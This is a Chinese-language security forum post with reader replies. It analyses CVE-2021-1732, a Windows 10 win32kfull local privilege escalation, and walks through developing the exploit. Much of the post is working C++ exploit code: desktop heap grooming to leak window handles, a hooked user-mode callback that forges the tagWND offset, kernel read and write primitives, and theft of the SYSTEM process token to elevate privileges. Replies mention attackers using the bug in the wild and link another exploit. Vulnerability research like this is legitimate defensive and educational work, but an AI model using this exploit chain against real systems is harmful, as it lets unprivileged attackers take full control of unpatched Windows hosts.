首页
论坛
课程
招聘
[漏洞利用] [Windows] [原创]CVE-­2021­-1732 Microsoft Windows10 本地提权漏 研究及Exploit开发
2021-3-8 20:41 10746

[漏洞利用] [Windows] [原创]CVE-­2021­-1732 Microsoft Windows10 本地提权漏 研究及Exploit开发

2021-3-8 20:41
10746

        CVE-2021-1732 Microsoft Windows10 本地提权漏研究及Poc/Exploit开发


分析及开发涉及到的工具,Ida pro、Windbg、Visual studio 2019,使用环境Windows 10 Version 1809 x64.

1. 漏洞描述

  • 漏洞发生在Windows 图形驱动win32kfull!NtUserCreateWindowEx函数中的一处内核回调用户态分配内存与tagWND->flag属性设置不同步导致的漏洞。使得可以伪造这个tagWND->offset值发生内存越界。

  • 当驱动win32kfull.sys调用NtUserCreateWindowEx创建窗口时会判断tagWND->cbWndExtra(窗口实例额外分配内存数),该值不为空时调用win32kfull!xxxClientAllocWindowClassExtraBytes函数回调用户层user32.dll!__xxxClientAllocWindowClassExtraBytes分配空间,分配后的地址使用NtCallbackReturn函数修正堆栈后重新返回内核层并保存并继续运行,而当tagWND->flag值包含0x800属性后该保存值变成了一个offset。

  • 攻击者可以Hook user32.dll!_xxxClientAllocWindowClassExtraBytes函数调用NtUserConsoleControl修改tagWND->flag包含0x800属性值后使用NtCallbackReturn返回一个自定义的值到内核tagWND->offset。

2. 受影响系统及应用版本

Windows Server, version 20H2 (Server Core Installation)
Windows 10 Version 20H2 for ARM64-based Systems
Windows 10 Version 20H2 for 32-bit Systems
Windows 10 Version 20H2 for x64-based Systems
Windows Server, version 2004 (Server Core installation)
Windows 10 Version 2004 for x64-based Systems
Windows 10 Version 2004 for ARM64-based Systems
Windows 10 Version 2004 for 32-bit Systems
Windows Server, version 1909 (Server Core installation)
Windows 10 Version 1909 for ARM64-based Systems
Windows 10 Version 1909 for x64-based Systems
Windows 10 Version 1909 for 32-bit Systems
Windows Server 2019 (Server Core installation)
Windows Server 2019
Windows 10 Version 1809 for ARM64-based Systems
Windows 10 Version 1809 for x64-based Systems
Windows 10 Version 1809 for 32-bit Systems
Windows 10 Version 1803 for ARM64-based Systems
Windows 10 Version 1803 for x64-based Systems

3. Exploit攻击效果图

Windows 10 Version 1809 for x64

4. 漏洞技术原理

  1. 漏洞发生在Windows 图形驱动win32kfull!NtUserCreateWindowEx中。

  2. 当驱动win32kfull.sys调用NtUserCreateWindowEx创建窗口时会判断tagWND->cbWndExtra(窗口实例额外分配内存数),该值不为空时调用win32kfull!xxxClientAllocWindowClassExtraBytes函数回调用户层user32.dll!__xxxClientAllocWindowClassExtraBytes创建内存,分配后的地址使用NtCallbackReturn函数修正堆栈后重新返回内核层并保存并继续运行,而当tagWND->flag值包含0x800属性时候对该值采用offset 寻址。

  3. 使用NtUserConsoleControl修改flag包含0x800属性。

5. 细节分析之POC开发

1. win32kfull!NtUserCreateWindowEx漏洞关键点

win32kfull!NtUserCreateWindowEx创建窗口时会判断tagWND->cbWndExtra(窗口实例额外分配内存数),该值不为空时调用win32kfull!xxxClientAllocWindowClassExtraBytes函数分配内存返回分配地址。图中我们可以看见偏移0xC8为tagWND->cbWndExtra,偏移0x128为tagWND->offset保存分配内存地址。

2. win32kfull!xxxClientAllocWindowClassExtraBytes函数分析:

  • KeUserModeCallback使用编号123回调用户层user32.dll中的KernelCallbackTable表中函数user32.dll!_xxxClientAllocWindowClassExtraBytes。

  • 31行代码中返回信息第一个指针类型指向的就是用户层分配内存地址。驱动调用ProbeForRead函数进行验证,该函数判断地址+长度小于MmUserProbeAddress就行。

  • 输入到用户层参数是需分配内存大小,长度4字节。

  • 返回信息长度必须为0x18字节。

  • 返回的地址+长度小于MmUserProbeAddress。

  • 当win32kfull!xxxCreateWindowEx调用win32kfull!xxxClientAllocWindowClassExtraBytes后并没有重新设置这个flag,用户可以伪装一个小于MmUserProbeAddress任意值进行越界写入(一次性)。

3. win32kfull!xxxConsoleControl设置flag包含0x800属性:

图中我们可以看得出偏移0xE8是一个flag。

  • 当flag值包含0x800属性时候偏移0x128保存得分配内存地址变成了offset 寻址。

  • 当flag值不包含0x800属性则重新分配内存并设置偏移0x128改成offset 寻址。

  • 第152行代码设置flag值包含0x800属性。

4. win32kfull!NtConsoleControl函数分析:

NtConsoleControl 该函数为未公开函数,我们需要结合分析进行后续调用。

  1. NtConsoleControl

    • 输入参数1:功能序号,小于等于6

    • 输入参数2:输入信息

    • 输入参数3:输入信息长度小于等于0x18

  2. xxxConsoleControl


    • 第102行代码处nIndex == 6 编号是修改flag属性包含0x800功能地方。

    • 第104行代码处判断输入信息长度必须为0x10。

    • 第106行代码处获取输入信息第一个位置为HWND是窗口句柄。

    • 第152行代码处用传入的HWND调用ValidateHwnd转换成内核tagWND结构后偏移0x28(内核tagWND映射到用户层地址)中修改flag值包含0x800属性。

5. user32!_xxxClientAllocWindowClassExtraBytes函数分析:

@2 提到内核win32kfull!xxxClientAllocWindowClassExtraBytes会调用KeUserModeCallback进入用户模式回调。返回信息的长度必须为0x18字节。user32!_xxxClientAllocWindowClassExtraBytes函数分配后的地址使用NtCallbackReturn函数修正堆栈后重新返回内核层并保存并继续运行。

NtCallbackReturn的函数原型NTSTATUS __stdcall NtCallbackReturn(PVOID Result, ULONG ResultLength, NTSTATUS Status)
第8行代码我们可以看出NtCallbackReturn返回了长度0x18的数据,数据第一个8字节是分配后的地址。

6. win32kfull!NtUserCreateWindowEx漏洞流程图

漏洞Attack流程图我们可以看出只要Hook user32!_xxxClientAllocWindowClassExtraBytes中调用NtUserConsoleControl跟NtCallbackReturn就行。
@3 提到调用NtUserConsoleControl会重新设置tagWND->offset跟tagWND->flag值包含0x800属性, flag值包含0x800属性采用offset 寻址。我们在当前调用NtUserConsoleControl的目的就是修改tagWND->flag值包含0x800属性,  再调用NtCallbackReturn函数返回指定值目的是重新修改tagWND->offset, 因为win32kfull!xxxClientAllocWindowClassExtraBytes会把返回值放入到tagWND->offset。

7. 构造POC

系统创建一个窗口流程:
   1. 应用程序创建一个窗口会调用user32!CreateWindow/Ex函数。
   2. 使用user32u!ZwUserCreateWindowEx函数进入内核模式。
   3. 内核驱动win32kXX!NtUserCreateWindowEx从Desktop heap分配窗口对象tagWND, 并以窗口的句柄(HWND)类型返回给调用方。。。。
窗口管理简介:从Windows Vista开始,每个Session是隔离的,Session 0(是一个特殊session)运行着系统服务,应用程序运行在由用户登录系统后创建的一系列Session中。Session 1对应于第一个登陆的用户,Session 2对应于第二个登录系统的用户,以此类推;每个系统Desktop对象都有heap 与之对应,Desktop对象使用heap存储菜单、窗体等。  这里不多介绍。

  1. 难点: @4 提到win32kfull!NtUserConsoleControl需要传入窗口句柄,使用句柄调用ValidateHwnd转换成对象后修改tagWND->flag;可漏洞需要在调用CreateWindowEx过程里调用NtUserConsoleControl,此时CreateWindowEx并没有返回HWND!!!

  2. 分析win32kfull!NtCreateWindowEx的HWND的创建过程。
    2.1  

    2.2 分析win32kbase!HMAllocObject

    第204行代码可以看出HMAllocObject调用Type类型为Window时所采用DesktopAlloc桌面堆进行分配。

    2.3 User32!HMValidateHandle函数

    • HMAllocObject创建了桌面堆类型句柄后,会把tagWND对象放入到内核模式到用户模式内存映射地址里。 为了验证句柄的有效性,窗口管理器会调用User32!HMValidateHandle函数读取这个表。函数将句柄和句柄类型作为参数,并在句柄表中查找对应的项。如果查找到对象, 会返回tagWND只读映射的对象指针,通过tagWND这个对象我们可以获取到句柄等一系列窗口信息。

    • HMValidateHandle是个未公开函数,可以用IsMenu第一个call定位此函数。

    • 第179行代码可以看出tagWnd + 0 保存着创建句柄。

    • 第180行代码可以看出tagWnd + 8 位置保存着tagWND地址与桌面堆地址的偏移。

    • 第526行代码我们可以看出系统使用HMAllocObject创建tagWND,其参数分别为pticurrent当前线程信息 ,Object为ptiCurrent->rpdesk,Type类型1为Window, 空间大小(此类型无意义,会使用用户句柄表获取类型大小)

    • 第540行代码是一些对tagWND信息初始化。

  3. 难点解决
    好在回调user32!_xxxClientAllocWindowClassExtraBytes函数时候内核已经调用完了win32kbase!HMAllocObject,此时HWND已经存放在内存之中。我们可以创建足够多的窗口让其泄露tagWND映射的对象指针,然后再摧毁大多数窗口使得桌面堆能回收这些对象空间。目前我们已经获取了这些休闲的对象地址,当我们再创建一个窗口时候桌面堆会优先使用休闲空间,我们只需要在hook user32!_xxxClientAllocWindowClassExtraBytes时候搜索查找刚刚摧毁掉的窗口tagWND指针,根据一些特征识别指定窗口就能或者到HWND了!!!

  4. POC开发关键代码

  5.         //alloc 50 desktop heap address
            for (int i = 0; i < 50; i++) {
                g_hWnd[i] = CreateWindowEx(NULL, L"Class1", NULL, WS_VISIBLE, 0, 0, 1, 1, NULL, hMenu, hInstance, NULL);
                g_pWnd[i] = (ULONG_PTR)fHMValidateHandle(g_hWnd[i], 1); //Get leak kernel mapping desktop heap address
            }
            //free 48 desktop heap address
            for (int i = 2; i < 50; i++) {
                if (g_hWnd[i] != NULL) {
                    DestroyWindow((HWND)g_hWnd[i]);
                }
            }
            
    NTSTATUS WINAPI MyxxxClientAllocWindowClassExtraBytes(unsigned int* pSize)
    {
        if (*pSize == g_dwMyWndExtra) {
            ULONG_PTR ChangeOffset = 0;
    
            HWND hWnd2 = NULL;
    
            //Search free 50 kernel mapping desktop heap (cbwndextra == g_dwMyWndExtra) points to hWnd
            for (int i = 2; i < 48; i++) {
                ULONG_PTR cbWndExtra = *(ULONG_PTR*)(g_pWnd[i] + g_cbWndExtra_offset);
                if (cbWndExtra == g_dwMyWndExtra) {
                    hWnd2 = (HWND)*(ULONG_PTR*)(g_pWnd[i]); //Found the "class2" window handle
                    break;
                }
            }/**/
            if (hWnd2 == NULL) {
                //Found fail.
                std::cout << "Search free 48 kernel mapping desktop heap (cbwndextra == g_dwMyWndExtra) points to hWnd fail." << std::endl;
            }
            else {
                std::cout << "Search kernel mapping desktop heap points to hWnd: " << std::hex << hWnd2 << std::endl;
            }
    
            ULONG_PTR ConsoleCtrlInfo[2] = { 0 };
            ConsoleCtrlInfo[0] = (ULONG_PTR)hWnd2;
            ConsoleCtrlInfo[1] = ChangeOffset;
            NTSTATUS ret = g_fNtUserConsoleControl(6, (ULONG_PTR)&ConsoleCtrlInfo, sizeof(ConsoleCtrlInfo));
    
            ULONG_PTR Result[3] = { 0 };
            Result[0] = g_dwpWndKernel_heap_offset0;
            return g_fFNtCallbackReturn(&Result, sizeof(Result), 0);
        }
        return g_fxxxClientAllocWindowClassExtraBytes(pSize);
    }

6. 细节分析之Exploit开发

此时我们已经能复现漏洞POC,但是距离开发Exploit利用还有很长距离,因为我们还不能读写内核内存,也不知道内核内存位置。我们还需要内核地址泄露跟如何读写内核。
因为要根据HWND操作内核,所以我们重点应该分析相应以HWND为参数的设置型函数。

1.  分析win32kfull!NtSetWindowLong解除限制:

  • 第114行代码可以看出调用User32!SetWindowLong函数时候输入的第二个参数nIndex必须小于偏移0xC8(tagWND->cbWndExtra),不然就返回错误代码0x585。**

  • 第153行代码可以看出如果tagWND->flag值包含0x800属性使用offset寻址。

  • 第154行代码可以看出是使用offset寻址。

  • 第156行代码可以看出是使用内存地址。

  • 第157/158行代码可以看出是替换设置的新值。

从代码看tagWND->flag值包含0x800属性情况下只要我们有办法把tagWND->cbWndExtra改成一个很大很大值(0xFFFFFFFF)就可以使用桌面堆加nIndex来写入指定堆地址(把这个值改成最大是为了更安全防止碰到偏移过大)。

前面@7 3.2.2提到tagWND->8地址里包含内核tagWND地址与桌面堆地址的偏移,漏洞可以一次性控制偏移0x128的tagWND->offset,这样只需要把一个正常窗口的(tagWND->8,内核tagWND地址与桌面堆地址的偏移) 放到漏洞窗口里,我们对漏洞窗口做nIndex(tagWND->cbWndExtra大小内)操作就能修改正常窗口里的tagWND->“nIndex”信息,解除tagWND->cbWndExtra长度过小限制后,我们用这个解除限制的窗口操作nIndex可以对其他窗口桌面堆实现越界写入。

2. 封装内核写接口:

@6.1 我们已经可以修改指定窗口tagWND信息,用内存越界方式写入一个tagWND->flag值不包含0x800属性窗口把偏移0x128(g_dwModifyOffset_offset)改成想要写入的地址,然后用nIndex==0操作这个tagWND->flag值不包含0x800属性窗口就能实现内核写入。
我们可以对tagWND进行修改后可以使用很多API进行读写,不局限于SetWindowLongPtr。

LONG_PTR WriteQWORD(LONG_PTR pAddress, LONG_PTR value)
{
    LONG_PTR old = SetWindowLongPtr(g_hWnd[0], dwpWnd0_to_pWnd1_kernel_heap_offset + g_dwModifyOffset_offset, (LONG_PTR)pAddress);
    SetWindowLongPtr(g_hWnd[1], 0, (LONG_PTR)value);  //Modify offset to memory address
    return old;
}

3. 封装内核读接口:

我们使用的是User32!GetMenuBarInfo函数进行内核读取,因为可以读取16个字节(我们使用其中8字节),使用User32!GetMenuBarInfo函数进行内核读取需要控制tagWND->spmenu, 所以我们替换了spmenu。

可以对tagWND进行修改后可以使用很多API进行读写,不局限于User32!GetMenuBarInfo。

1. Win32kfull!NtUserGetMenuBarInfo利用分析:
  • 第87行代码可以看出参数idObject需要传入一个-3。

  • 第89代码处对tagWnd->Style做了判断不能包含WS_CHILD。

  • 第91行代码处获取tagWND->spmenu信息。

  • 第104行代码处参数idItem需要传入一个大于0值。

  • 第109行代码处是一个tagWND->spmenu->rgItems指针。

  • 第118/120/…行代码处是根据tagWND->spmenu->rgItems指针内容读取偏移信息。
    满足上面条件后才能实现任意读取内存信息。

2. 创建虚假的spmenu对象:
//My spmenu memory struct For read kernel memory
g_pMyMenu = (ULONG_PTR)g_fRtlAllocateHeap((PVOID) * (ULONG_PTR*)(__readgsqword(0x60) + 0x30), 0, 0xA0);
*(ULONG_PTR*)((PBYTE)g_pMyMenu + 0x98) = (ULONG_PTR)g_fRtlAllocateHeap((PVOID) * (ULONG_PTR*)(__readgsqword(0x60) + 0x30), 0, 0x20);
**(ULONG_PTR**)((PBYTE)g_pMyMenu + 0x98) = g_pMyMenu;
*(ULONG_PTR*)((PBYTE)g_pMyMenu + 0x28) = (ULONG_PTR)g_fRtlAllocateHeap((PVOID) * (ULONG_PTR*)(__readgsqword(0x60) + 0x30), 0, 0x200);
*(ULONG_PTR*)((PBYTE)g_pMyMenu + 0x58) = (ULONG_PTR)g_fRtlAllocateHeap((PVOID) * (ULONG_PTR*)(__readgsqword(0x60) + 0x30), 0, 0x8); //rgItems 1
*(ULONG_PTR*)(*(ULONG_PTR*)((PBYTE)g_pMyMenu + 0x28) + 0x2C) = 1; //cItems 1
*(DWORD*)((PBYTE)g_pMyMenu + 0x40) = 1;
*(DWORD*)((PBYTE)g_pMyMenu + 0x44) = 2;
*(ULONG_PTR*)(*(ULONG_PTR*)((PBYTE)g_pMyMenu + 0x58)) = 0x4141414141414141;
3. 控制User32!GetMenuBarInfo读取数据:
//Read kernel memory for 16 length
void ReadKernelMemoryQQWORD(ULONG_PTR pAddress, ULONG_PTR& ululOutVal1, ULONG_PTR& ululOutVal2)
{
    MENUBARINFO mbi = { 0 };
    mbi.cbSize = sizeof(MENUBARINFO);

    RECT Rect = { 0 };
    GetWindowRect(g_hWnd[1], &Rect);

    *(ULONG_PTR*)(*(ULONG_PTR*)((PBYTE)g_pMyMenu + 0x58)) = pAddress - 0x40; //0x44 xItem
    GetMenuBarInfo(g_hWnd[1], -3, 1, &mbi);

    BYTE pbKernelValue[16] = { 0 };
    *(DWORD*)(pbKernelValue) = mbi.rcBar.left - Rect.left;
    *(DWORD*)(pbKernelValue + 4) = mbi.rcBar.top - Rect.top;
    *(DWORD*)(pbKernelValue + 8) = mbi.rcBar.right - mbi.rcBar.left;
    *(DWORD*)(pbKernelValue + 0xc) = mbi.rcBar.bottom - mbi.rcBar.top;

    ululOutVal1 = *(ULONG_PTR*)(pbKernelValue);
    ululOutVal2 = *(ULONG_PTR*)(pbKernelValue + 8);

    /*std::cout
        << "ReadKernelMemory ululOutVal1: "
        << std::hex << ululOutVal1
        << " ululOutVal2: "
        << std::hex << ululOutVal2 << std::endl;*/
}

4. 获取内核泄露地址:

目前我们可以操作任意内核内存读写,但只能搞搞蓝屏,所有还需要一个内核地址泄露漏洞。

经过分析,窗口中菜单spmenu对象包含了内核结构地址。

  1. Win32kfull!xxxSetWindowData分析:
  • 第110行代码可以看出参数idObject需要传入一个-12。

  • 第112代码处对tagWnd->Style做了判断包含WS_CHILD。

  • 第114代码处对读取窗口tagWnd->spmenu对象。

  • 第116代码处对修改窗口tagWnd->spmenu对象。

我们需要构造符合上面条件的代码。

ULONGLONG ululStyle = *(ULONGLONG*)((PBYTE)g_pWnd[1] + g_dwExStyle_offset);
ululStyle |= 0x4000000000000000L;//WS_CHILD
SetWindowLongPtr(g_hWnd[0], dwpWnd0_to_pWnd1_kernel_heap_offset + g_dwExStyle_offset, ululStyle);  //Modify add style WS_CHILD

ULONG_PTR pSPMenu = SetWindowLongPtr(g_hWnd[1], GWLP_ID, (LONG_PTR)g_pMyMenu); //Return leak kernel address and set fake spmenu memory
//pSPMenu leak kernel address, good!!!

5. 提升进程权限:

1. 获取我的进程内核EPROCESS

根据@6.4 提到的pSPMenu对象泄露的内核地址,我们可以从中一步步定位到我的EProcess。

ReadKernelMemoryQQWORD(pSPMenu + 0x18, ululValue1, ululValue2);
ReadKernelMemoryQQWORD(ululValue1 + 0x100, ululValue1, ululValue2);
ReadKernelMemoryQQWORD(ululValue1, ululValue1, ululValue2);

ULONG_PTR pMyEProcess = ululValue1;
2. 修改我的进程EPROCESS权限到System:

定位到自己EPROCESS后遍历EPROCESS->ActiveProcessLinks链表,获取进程ID为4的进程后复制该进程的Token到我的Token。

std::cout << "Get current kernel eprocess: " << pMyEProcess << std::endl;

ULONG_PTR pSystemEProcess = 0;

ULONG_PTR pNextEProcess = pMyEProcess;
for (int i = 0; i < 500; i++) {
    ReadKernelMemoryQQWORD(pNextEProcess + g_dwEPROCESS_ActiveProcessLinks_offset, ululValue1, ululValue2);
    pNextEProcess = ululValue1 - g_dwEPROCESS_ActiveProcessLinks_offset;

    ReadKernelMemoryQQWORD(pNextEProcess + g_dwEPROCESS_UniqueProcessId_offset, ululValue1, ululValue2);

    ULONG_PTR nProcessId = ululValue1;
    if (nProcessId == 4) { // System process id
        pSystemEProcess = pNextEProcess;
        std::cout << "System kernel eprocess: " << std::hex << pSystemEProcess << std::endl;

        ReadKernelMemoryQQWORD(pSystemEProcess + g_dwEPROCESS_Token_offset, ululValue1, ululValue2);
        ULONG_PTR pSystemToken = ululValue1;

        ULONG_PTR pMyEProcessToken = pMyEProcess + g_dwEPROCESS_Token_offset;

        //Write kernel memory
        LONG_PTR old = SetWindowLongPtr(g_hWnd[0], dwpWnd0_to_pWnd1_kernel_heap_offset + g_dwModifyOffset_offset, (LONG_PTR)pMyEProcessToken);
        SetWindowLongPtr(g_hWnd[1], 0, (LONG_PTR)pSystemToken);  //Modify offset to memory address
        SetWindowLongPtr(g_hWnd[0], dwpWnd0_to_pWnd1_kernel_heap_offset + g_dwModifyOffset_offset, (LONG_PTR)old);
        break;
    }
}

7. 恢复漏洞防止蓝屏

完成提权后对修改过的tagWND结构进行恢复。

//Recovery bug
g_dwpWndKernel_heap_offset2 = *(ULONG_PTR*)((PBYTE)pWnd2 + g_dwKernel_pWnd_offset);
ULONG_PTR dwpWnd0_to_pWnd2_kernel_heap_offset = *(ULONGLONG*)((PBYTE)g_pWnd[0] + 0x128);
if (dwpWnd0_to_pWnd2_kernel_heap_offset < g_dwpWndKernel_heap_offset2) {
    dwpWnd0_to_pWnd2_kernel_heap_offset = (g_dwpWndKernel_heap_offset2 - dwpWnd0_to_pWnd2_kernel_heap_offset);

    DWORD dwFlag = *(ULONGLONG*)((PBYTE)pWnd2 + g_dwModifyOffsetFlag_offset);
    dwFlag &= ~0x800;
    SetWindowLongPtr(g_hWnd[0], dwpWnd0_to_pWnd2_kernel_heap_offset + g_dwModifyOffsetFlag_offset, dwFlag);  //Modify remove flag

    PVOID pAlloc = g_fRtlAllocateHeap((PVOID) * (ULONG_PTR*)(__readgsqword(0x60) + 0x30), 0, g_dwMyWndExtra);
    SetWindowLongPtr(g_hWnd[0], dwpWnd0_to_pWnd2_kernel_heap_offset + g_dwModifyOffset_offset, (LONG_PTR)pAlloc);  //Modify offset to memory address


    ULONGLONG ululStyle = *(ULONGLONG*)((PBYTE)g_pWnd[1] + g_dwExStyle_offset);
    ululStyle |= 0x4000000000000000L;//WS_CHILD
    SetWindowLongPtr(g_hWnd[0], dwpWnd0_to_pWnd1_kernel_heap_offset + g_dwExStyle_offset, ululStyle);  //Modify add style WS_CHILD

    ULONG_PTR pMyMenu = SetWindowLongPtr(g_hWnd[1], GWLP_ID, (LONG_PTR)pSPMenu);
    //free pMyMenu

    ululStyle &= ~0x4000000000000000L;//WS_CHILD
    SetWindowLongPtr(g_hWnd[0], dwpWnd0_to_pWnd1_kernel_heap_offset + g_dwExStyle_offset, ululStyle);  //Modify Remove Style WS_CHILD

    std::cout << "Recovery bug prevent blue screen." << std::endl;
}

8. 最终我们构造的Exploit代码为:

附件.

[看雪官方培训] Unicorn Trace还原Ollvm算法!《安卓高级研修班》2021年6月班开始招生!!

最后于 2021-3-9 11:10 被KernelKiller编辑 ,原因:
上传的附件:
收藏
点赞11
打赏
分享
最新回复 (16)
雪    币: 635
活跃值: 活跃值 (474)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
wx_11111 活跃值 2021-3-8 21:20
2
0

666,之前刚看到蔓灵花用CVE-­2021­-1732

最后于 2021-3-8 21:21 被wx_11111编辑 ,原因:
雪    币: 5096
活跃值: 活跃值 (850)
能力值: ( LV9,RANK:246 )
在线值:
发帖
回帖
粉丝
Saturn35 活跃值 4 2021-3-9 11:16
3
0
tql,学习
雪    币: 15599
活跃值: 活跃值 (14834)
能力值: (RANK:75 )
在线值:
发帖
回帖
粉丝
Editor 活跃值 2021-3-9 15:18
4
0
感谢分享~已关注!
雪    币: 524
活跃值: 活跃值 (124)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
KasdnsQ!1 活跃值 2021-3-9 15:21
5
0
写写楼主 写的非常细
雪    币: 4680
活跃值: 活跃值 (1632)
能力值: ( LV12,RANK:270 )
在线值:
发帖
回帖
粉丝
与时尽现。 活跃值 6 2021-3-9 17:31
6
0
大哥,您真的是十年磨一剑阿,十年都没发过文章了这个漏洞我也写了exp,获取句柄哪里有区别。互相学习https://github.com/KaLendsi/CVE-2021-1732-Exploit
雪    币: 8945
活跃值: 活跃值 (3566)
能力值: ( LV12,RANK:252 )
在线值:
发帖
回帖
粉丝
一半人生 活跃值 4 2021-3-9 19:45
7
0
github看的pdf版
雪    币: 76
活跃值: 活跃值 (150)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
EXHades 活跃值 2021-3-9 20:39
8
0
TQl 
雪    币: 2180
活跃值: 活跃值 (607)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
Genes 活跃值 2021-3-10 13:18
9
0
学习学习,过年看一个pages,原来安恒实验室写的~
雪    币: 976
活跃值: 活跃值 (500)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
轩词 活跃值 2021-3-10 14:37
10
0
十年磨一剑
雪    币: 159
活跃值: 活跃值 (649)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
fengyunabc 活跃值 1 2021-3-10 14:59
11
0
感谢分享!
雪    币: 1226
活跃值: 活跃值 (355)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
ST0n5 活跃值 2021-3-10 16:03
12
0
tql 从推特看到得  看雪大佬牛逼
雪    币: 695
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
星雪鸢尾 活跃值 2021-3-10 21:52
13
0
tql 感谢
雪    币: 4
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
多文 活跃值 2021-3-30 10:46
14
0
楼主可以讲解一下tagWND结构体吗,感觉看的有点晕。
雪    币: 200
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
afei00123 活跃值 2021-3-30 10:57
15
0
tql
雪    币: 1497
活跃值: 活跃值 (582)
能力值: ( LV5,RANK:60 )
在线值:
发帖
回帖
粉丝
苏啊树 活跃值 1 2021-3-31 19:07
16
0

6. 细节分析之Exploit开发
1.  分析win32kfull!NtSetWindowLong解除限制:
第114行代码可以看出调用User32!SetWindowLong函数时候输入的第二个参数nIndex必须小于偏移0xC8(tagWND->cbWndExtra),不然就返回错误代码0x585。**
这一段我看了半天,不是应该第二个参数nIndex必须不大于偏移0xC8(tagWND->cbWndExtra)么

不然怎么修改tagWND->cbWndExtra到0x0FFFFFFFF啊,看这IDA也是大于就返回,小于和等于就能设置,难道是有别的什么条件我没理解?



最后于 2021-3-31 19:12 被苏啊树编辑 ,原因:
雪    币: 50
活跃值: 活跃值 (40)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
return 活跃值 2021-4-7 11:10
17
0
很不错的文章,思路清晰、条理清楚,赞
游客
登录 | 注册 方可回帖
返回